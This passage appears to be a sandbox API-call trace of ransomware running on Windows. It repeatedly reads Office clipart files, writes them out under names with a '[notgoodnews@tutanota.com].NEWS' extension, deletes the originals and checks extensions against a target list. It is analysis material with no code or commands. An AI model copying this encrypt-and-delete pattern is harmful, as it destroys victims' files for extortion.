dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.437] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=42050) returned 1 [0164.437] CloseHandle (hObject=0x4dc) returned 1 [0164.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0164.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.438] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.438] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0164.438] GetLastError () returned 0x0 [0164.438] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xa442, lpOverlapped=0x0) returned 1 [0164.442] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xa450, lpOverlapped=0x0) returned 1 [0164.443] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.444] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.444] SetEndOfFile (hFile=0x528) returned 1 [0164.444] CloseHandle (hObject=0x528) returned 1 [0164.444] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.444] SetEndOfFile (hFile=0x4dc) returned 1 [0164.448] CloseHandle (hObject=0x4dc) returned 1 [0164.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0164.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.458] lstrlenW (lpString=".doc") returned 4 [0164.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.458] lstrlenW (lpString=".docx") returned 5 [0164.459] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.459] lstrlenW (lpString=".pdf") returned 4 [0164.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString=".xls") returned 4 [0164.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.459] lstrlenW (lpString=".xlsx") returned 5 [0164.459] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.459] lstrlenW (lpString=".ppt") returned 4 [0164.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString=".zip") returned 4 [0164.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.459] lstrlenW (lpString=".rar") returned 4 [0164.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString=".bz2") returned 4 [0164.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString=".7z") returned 3 [0164.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString=".dbf") returned 4 [0164.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString=".1cd") returned 4 [0164.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString=".jpg") returned 4 [0164.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.459] lstrlenW (lpString=".doc") returned 4 [0164.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString=".docx") returned 5 [0164.459] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.459] lstrlenW (lpString=".pdf") returned 4 [0164.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.459] lstrlenW (lpString=".xls") returned 4 [0164.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.460] lstrlenW (lpString=".xlsx") returned 5 [0164.460] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.460] lstrlenW (lpString=".ppt") returned 4 [0164.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.460] lstrlenW (lpString=".zip") returned 4 [0164.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.460] lstrlenW (lpString=".rar") returned 4 [0164.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.460] lstrlenW (lpString=".bz2") returned 4 [0164.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.460] lstrlenW (lpString=".7z") returned 3 [0164.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.460] lstrlenW (lpString=".dbf") returned 4 [0164.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.460] lstrlenW (lpString=".1cd") returned 4 [0164.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0164.460] lstrlenW (lpString=".jpg") returned 4 [0164.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.460] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.460] lstrlenW (lpString="J0098497.WMF") returned 12 [0164.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.461] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4970) returned 1 [0164.461] CloseHandle (hObject=0x4dc) returned 1 [0164.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0164.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.462] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.462] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0164.462] GetLastError () returned 0x0 [0164.462] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x136a, lpOverlapped=0x0) returned 1 [0164.873] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1370, lpOverlapped=0x0) returned 1 [0165.073] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.073] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.074] SetEndOfFile (hFile=0x528) returned 1 [0165.074] CloseHandle (hObject=0x528) returned 1 [0165.074] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.074] SetEndOfFile (hFile=0x4dc) returned 1 [0165.076] CloseHandle (hObject=0x4dc) returned 1 [0165.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0165.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.077] lstrlenW (lpString=".doc") returned 4 [0165.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.077] lstrlenW (lpString=".docx") returned 5 [0165.077] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0165.077] lstrlenW (lpString=".pdf") returned 4 [0165.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.077] lstrlenW (lpString=".xls") returned 4 [0165.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.077] lstrlenW (lpString=".xlsx") returned 5 [0165.078] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0165.078] lstrlenW (lpString=".ppt") returned 4 [0165.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString=".zip") returned 4 [0165.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.078] lstrlenW (lpString=".rar") returned 4 [0165.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString=".bz2") returned 4 [0165.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString=".7z") returned 3 [0165.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString=".dbf") returned 4 [0165.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString=".1cd") returned 4 [0165.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString=".jpg") returned 4 [0165.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.078] lstrlenW (lpString=".doc") returned 4 [0165.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString=".docx") returned 5 [0165.078] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0165.078] lstrlenW (lpString=".pdf") returned 4 [0165.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString=".xls") returned 4 [0165.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.078] lstrlenW (lpString=".xlsx") returned 5 [0165.078] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0165.078] lstrlenW (lpString=".ppt") returned 4 [0165.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.079] lstrlenW (lpString=".zip") returned 4 [0165.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.079] lstrlenW (lpString=".rar") returned 4 [0165.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.079] lstrlenW (lpString=".bz2") returned 4 [0165.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.079] lstrlenW (lpString=".7z") returned 3 [0165.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.079] lstrlenW (lpString=".dbf") returned 4 [0165.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.079] lstrlenW (lpString=".1cd") returned 4 [0165.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0165.079] lstrlenW (lpString=".jpg") returned 4 [0165.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.079] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.079] lstrlenW (lpString="J0099150.JPG") returned 12 [0165.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.080] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=21914) returned 1 [0165.080] CloseHandle (hObject=0x4dc) returned 1 [0165.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0165.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.081] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.081] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.082] GetLastError () returned 0x0 [0165.082] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x559a, lpOverlapped=0x0) returned 1 [0165.084] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0165.086] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.086] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.086] SetEndOfFile (hFile=0x528) returned 1 [0165.086] CloseHandle (hObject=0x528) returned 1 [0165.086] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.086] SetEndOfFile (hFile=0x4dc) returned 1 [0165.090] CloseHandle (hObject=0x4dc) returned 1 [0165.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0165.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.091] lstrlenW (lpString=".doc") returned 4 [0165.091] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.091] lstrlenW (lpString=".docx") returned 5 [0165.091] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0165.091] lstrlenW (lpString=".pdf") returned 4 [0165.091] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.092] lstrlenW (lpString=".xls") returned 4 [0165.092] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.092] lstrlenW (lpString=".xlsx") returned 5 [0165.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0165.092] lstrlenW (lpString=".ppt") returned 4 [0165.092] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString=".zip") returned 4 [0165.092] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.092] lstrlenW (lpString=".rar") returned 4 [0165.092] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.092] lstrlenW (lpString=".bz2") returned 4 [0165.092] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.092] lstrlenW (lpString=".7z") returned 3 [0165.092] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString=".dbf") returned 4 [0165.092] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString=".1cd") returned 4 [0165.092] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString=".jpg") returned 4 [0165.092] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.092] lstrlenW (lpString=".doc") returned 4 [0165.092] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.092] lstrlenW (lpString=".docx") returned 5 [0165.092] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0165.093] lstrlenW (lpString=".pdf") returned 4 [0165.093] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.093] lstrlenW (lpString=".xls") returned 4 [0165.093] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.093] lstrlenW (lpString=".xlsx") returned 5 [0165.093] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0165.093] lstrlenW (lpString=".ppt") returned 4 [0165.093] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.093] lstrlenW (lpString=".zip") returned 4 [0165.093] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.093] lstrlenW (lpString=".rar") returned 4 [0165.093] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.093] lstrlenW (lpString=".bz2") returned 4 [0165.093] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.093] lstrlenW (lpString=".7z") returned 3 [0165.093] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.093] lstrlenW (lpString=".dbf") returned 4 [0165.093] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.093] lstrlenW (lpString=".1cd") returned 4 [0165.093] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0165.093] lstrlenW (lpString=".jpg") returned 4 [0165.093] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.094] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.094] lstrlenW (lpString="J0099151.WMF") returned 12 [0165.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.094] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26086) returned 1 [0165.094] CloseHandle (hObject=0x4dc) returned 1 [0165.094] GetFileAttributesW 